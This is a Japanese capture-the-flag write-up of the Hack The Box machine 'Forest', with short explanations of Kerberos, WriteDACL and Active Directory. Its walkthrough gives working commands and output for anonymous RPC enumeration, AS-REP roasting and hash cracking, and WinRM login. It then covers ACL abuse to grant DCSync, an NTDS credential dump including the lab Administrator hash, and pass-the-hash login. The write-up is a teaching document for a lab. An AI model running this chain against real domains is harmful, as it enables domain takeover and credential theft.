前書き
マシンのフラグを取るためではなく、取る手立てとして参考してもらえば幸いです。
必要な情報は概要に書き記してありますので、そこを参照して下さい。
出来る限り自分で考えた後、どうしても無理であればWriteup本文を読んで下さい。
netcatなどの基本的接続プロセスは省略して書いています。
ファイルは全てpython -m SimpleHTTPServer 80でトランスファーしてます。
概要
-
RPCサーバにおけるユーザー名の漏洩
-
KerberosサーバーにてASPROASTが可能
-
Active Directoryにおけるドメイングループに付与されたACLの権限濫用
-
DCSync : Domain Controllerのレプリカ可能
Black Hat 2015においてAD脆弱性について詳しく説明されているので、是非見てください。
Black Hat 2015 :DCSync 20分30秒から
- Active Directoryにおけるネットワーク構成
学べる事/疑問点
Kerberos サーバーとは?
Kerberos はサード・パーティーのネットワーク認証プロトコルで、 無保護のネットワーク環境の中でユーザーを安全に認証するために、 共有秘密鍵認証を使用します。 3 層システムが使用され、 Kerberos 鍵配布センター (KDC) という別個のサーバーが提供する暗号化されたチケットが、 アプリケーション・サーバーとクライアントの間で交換されます (テキスト形式のユーザー ID とパスワードは交換されません)。 このような暗号化されたサービス・チケット (証明書 という) は存続期間が有限で、クライアントとサーバーしかこれを理解できません。 これによって、たとえチケットがネットワークから傍受された場合でも、 セキュリティー上のリスクが軽減されます。
IBM 日本語ドキュメント: Kerberos 認証についての詳細
WriteDACLとは?
オブジェクトのフルコントロールにつながる可能性があるオブジェクトのセキュリティを変更する機能を提供します。オブジェクトのセキュリティ記述子のDACLを変更する権利。
例:ADで任意の権限で動作するためのサービスアカウントにこの権利を付与できます。攻撃者がこのパスワードを推測できる(またはKerberoastingによってパスワードを解読できる)場合、LAPSで制御されたローカル管理者パスワードの漏えいを伴う可能性のあるオブジェクトのフルコントロールにつながる可能性がある、関連するオブジェクトに独自の権限を設定します。
Active Directoryとは?
Active Directory(AD)は、Microsoft独自のディレクトリサービスです。 Windows Server上で実行され、管理者がネットワークリソースへのアクセス許可とアクセスを管理できるようにします。 Active Directoryはデータをオブジェクトとして保存します。 オブジェクトは、ユーザー、グループ、アプリケーション、またはプリンターなどのデバイスなどの単一の要素です。
ハッシュとは?
ハッシュ関数は、任意のサイズのデータを固定サイズの値にマッピングするために使用できる任意の関数です。 ハッシュ関数によって返される値は、ハッシュ値、ハッシュコード、ダイジェスト、または単にハッシュと呼ばれます。 値は、固定サイズの索引付けに使用されます。
本文
ポート捜索
nmap -T5 --min-rate 10000 10.10.10.161
53/tcp open domain -> DNS
88/tcp open kerberos-sec -> Kerberos Server
135/tcp open msrpc -> port mapper / RPC
139/tcp open netbios-ssn -> SMB
389/tcp open ldap -> AD
445/tcp open microsoft-ds -> SMB
464/tcp open kpasswd5 -> Kerberos Server
593/tcp open http-rpc-epmap -> RPC
636/tcp open ldapssl -> AD
3269/tcp open globalcatLDAPssl -> AD
5985/tcp open wsman -> Windows Remote Management
RCPサーバーからの情報取得
rpcclient
かpythonを使用して情報が得られます。
rpcclientを使う場合:
rpcclient -U "" -N 10.10.10.161 #匿名ログイン
#enumdomusersで全てのユーザー表示
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
#querydispinfoでフルネームを確認(グループ名)
rpcclient $> querydispinfo
index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco Name: svc-alfresco Desc: (null)
index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb Name: Microsoft Exchange Migration Desc: (null)
index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} Desc(null)
index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb Name: Microsoft Exchange Approval Assistant Desc: (null)
index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18 Name: Discovery Search Mailbox Desc: (null)
index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a Name: Microsoft Exchange Desc: (null)
index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb Name: E4E Encryption Store - Active Desc: (null)
index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549 Name: Microsoft Exchange Federation Mailbox Desc: (null)
index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b Name: Microsoft Exchange Desc: (null)
index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b Name: Microsoft Exchange Desc: (null)
#enumdomgroups でグループ欄を確認
rpcclient $> enumdomgroups
...省略
group:[test] rid:[0x13ed]
#querygroup 0xridでグループ管理権限を確認
rpcclient $> querygroup 0x47d
Group Name: Privileged IT Accounts
Description:
Group Attribute:7
Num Members:1
#メンバーが誰なのかを確認する
rpcclient $> querygroupmem 0x47d
rid:[0x47c] attr:[0x7]
#0x47cというユーザーが一人だけいるので、queryuserで確認する
rpcclient $> queryuser 0x47c
result was NT_STATUS_NO_SUCH_USER
#どうやら消されてしまったよう
#パスワードポリシーを確認。
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000000
#特定ユーザーのパスワードポリシーを確認
rpcclient $> getusrdompwinfo 0x469
&info: struct samr_PwInfo
min_password_length : 0x0007 (7)
password_properties : 0x00000000 (0)
0: DOMAIN_PASSWORD_COMPLEX
0: DOMAIN_PASSWORD_NO_ANON_CHANGE
0: DOMAIN_PASSWORD_NO_CLEAR_CHANGE
0: DOMAIN_PASSWORD_LOCKOUT_ADMINS
0: DOMAIN_PASSWORD_STORE_CLEARTEXT
0: DOMAIN_REFUSE_PASSWORD_CHANGE
#DOMAIN_PASSOWRD_STORE_CLEARTEXTが有れば、パスワーが平文で保存されているので、ブルートフォースログインが出来る。
Pythonを使う場合:
ldap3
というパッケージを使用します。
#ldap3パッケージ使用
import ldap3
server = ldap3.Server('10.10.10.161', get_info = ldap3.ALL, port=389, use_ssl=False)
connection = ldap3.Connection(server)
connection.bind()
#connection.bind = Trueで有れば、接続ができている事が分かる
ldap_info = server.info
df = open('ldap_info.txt', 'w+')
df.write(str(ldap_info))
#全ての情報をダンプ
connection.search(search_base='DC=htb,DC=local', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
connection.entries
#パスワードとユザー情報をダンプ
connection.search(search_base='DC=htb,DC=local', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='userPasswords')
connection.entries
まとめてユーザネームだけをいっきに簡略してusers.txtを作りたい時:
echo 'enumdomusers' | rpcclient -U "" -N 10.10.10.161 | grep -Eo "\[.+\ " | sed -r 's/(\[|\])//g' > users.txt
メモ - grep, sedに関して -
sed -r は正規表現を使うので、's/(\[|\])//g'
は[
と]
を取り除くという意味合。
grep -E も正規表現で、\[.+\
は[文字列
で、要するに[]の中を取る。
例: grep -Eo 'href="[^\"]+"' はウェブサイトのhref=文字列を抜き取る。
Kerberos 事前認証なしTGT発行
名前が合っていれば、TGTチケットが発行されてしまうので、チケットをクラックすることでパスワードが抜き取れる。
Impacketのスクリプトを利用して、TGTを発行させる。
impacket-GetNPUsers htb/ -usersfile users.txt -no-pass -dc-ip 10.10.10.161
$krb5asrep$23$svc-alfresco@HTB:c9fc43e225d93ae32f4cf1ead9f909d0$962ba4f7ff968c8c89bdd7338f8922d43aede0d7274267a3cf822a6e94a314fc48fc329c33de5850f27472ea904cdf95d8889d56feec0ddd26a5694352e3d14a41ffc4bd0460e564a9ce704c4b9ac989c1351418b1dffb1e9f0cebbc342ad18b83da208506b29a6d049bef413737a51ef9e614638534df177e8aed2b4efb9b732dbe027ac5e2d718f45b1ab4216ed72b2df9384ff697eeb8bafe37e612a345c7bc268d45c960249b743d70e96861dcca2956d6c2f74e27bf6ff73e6fd641126793af9cb7fd81f5e8ba2f35355d72cb24243b86987102ff4d3eb5087ce3e9c200
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
次に、svc-alfrescoのTGTチケットをクラックする。
hashcatのスクリプトを利用する。
kerberos は Kerberos 5 AS-REP etype 23とあるので、オプション指定は 18200とする。
オプションは沢山あるのでこちらで確認:
https://hashcat.net/wiki/doku.php?id=example_hashes
hashcat -a 0 -m 18200 usvc-alfresco_hash.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$svc-alfresco@HTB:c9fc43e225d93ae32f4cf1ead9f909d0$962ba4f7ff968c8c89bdd7338f8922d43aede0d7274267a3cf822a6e94a314fc48fc329c33de5850f27472ea904cdf95d8889d56feec0ddd26a5694352e3d14a41ffc4bd0460e564a9ce704c4b9ac989c1351418b1dffb1e9f0cebbc342ad18b83da208506b29a6d049bef413737a51ef9e614638534df177e8aed2b4efb9b732dbe027ac5e2d718f45b1ab4216ed72b2df9384ff697eeb8bafe37e612a345c7bc268d45c960249b743d70e96861dcca2956d6c2f74e27bf6ff73e6fd641126793af9cb7fd81f5e8ba2f35355d72cb24243b86987102ff4d3eb5087ce3e9c200:s3rvice
パスワードはs3rvice
であることが判明。
侵入 - Low Privileged Shell
Windows Remote Management を利用して、svc-alfrescoとしてログインする。
Evil-WinRMというツールを使用して、アクセスすることが出来ます。
ruby Evil-winRM.rb -u svc-alfresco -p s3rvice -i 10.10.10.161
*Evil-WinRM* PS C:\Users\svc-alfresco> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
#自分がどの権限グループに所属するかを確認する。
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators Alias S-1-5-32-548 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
HTB\Privileged IT Accounts Group S-1-5-21-3072663084-364016917-1341370565-1149 Mandatory group, Enabled by default, Enabled group
HTB\Service Accounts Group S-1-5-21-3072663084-364016917-1341370565-1148 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
グループを見てみる。
C:\Users\svc-alfresco\Links>net groups
net groups
Group Accounts for \\
-------------------------------------------------------------------------------
省略...
*Exchange Servers
*Exchange Trusted Subsystem
*Exchange Windows Permissions
Active DirectoryのオブジェクトACLをenumしたいので、BloodHoundというツールを使用する。
BloodHound
BloodHound マニュアル: bloodhound.readthedocs.io
apt-get install bloodhound
neo4jコンソールを立ち上げる
neo4j console
そして、bloodhoundを立ち上げる。
bloodhound
要するに、BloodHoundはアプリでneo4jというデータベースアプリを経由してデータを加工するアプリみたい。
現在ログインしているsvc-alfresco
は EXCHANGE WINDOWS PERMISSIONS
のグループに対して にGenericALLの権限関係が付与されていることが分かります。サービスアカウント -> PRIVILEGED IT ACCOUNT -> ACCOUNT OPERATORS -> EXCHANGE WINDOWS PERMISSIONの順で繋がっている。
SVC-ALFRESCOはSAのメンバーで、それはxxのメンバー...という感じで関係が繋がっています。
EXCHANGE WINDOWS PERMISSIONのグループにドメインユーザを追加。
なぜ可能か?: ACCOUNT OPERATORS Allows creating non administrator accounts and groups on the domain.
ユーザーの作成とグループの加入
net user wacker password /add /domain
net group "EXCHANGE WINDOWS PERMISSIONS" /add wacker
DC Synchronization
PowerSploitのPowerView.ps1
をインポートして、色々行います。
ドメインユーザーにNTDS.dit
を渡す(DC SYNC)ため、必要なクレデンシャルを含むオブジェクトを作成。
$passwd = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\wacker', $passwd)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity wacker -Rights DCSync
これで、wackerにNTDS.dit(DC SYNC)が渡されたので、impacketのsecretdump.py
でNTLMハッシュをダンプします。
kali@kali:$ impacket-secretsdump htb.local/wacker:password@10.10.10.161
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
侵入 Privileged Shell
このハッシュを使用して、psexec.pyでログインします。
pass the hahsという方法を用いてログインします。
OFFENSIVE SECURITY : PSEXECについて
./psexec.py -hashes \
aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6\
administrator@10.10.10.161
成功すれば、forest/administrator
としてログインが出来る!
感想
ケロベロスサーバーの事前認証がなぜ重要かがよく分かるBoxだと思いました。
そして、パスワードが弱いとかくもクラッキングがされてしまい、システム侵入を容易にしてしまいます。
またADにおけるグループのACLのの権限設定がきちんとされてないので、結果としてDCSyncまでされてしましました。
読んでくれてありがとうございます。
メモ
NTDS.ditの場所は%systemroot%\ntdsにあるという事で、フルパスだと
`Windows\System32\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\ntds\ntds.dit`にありました。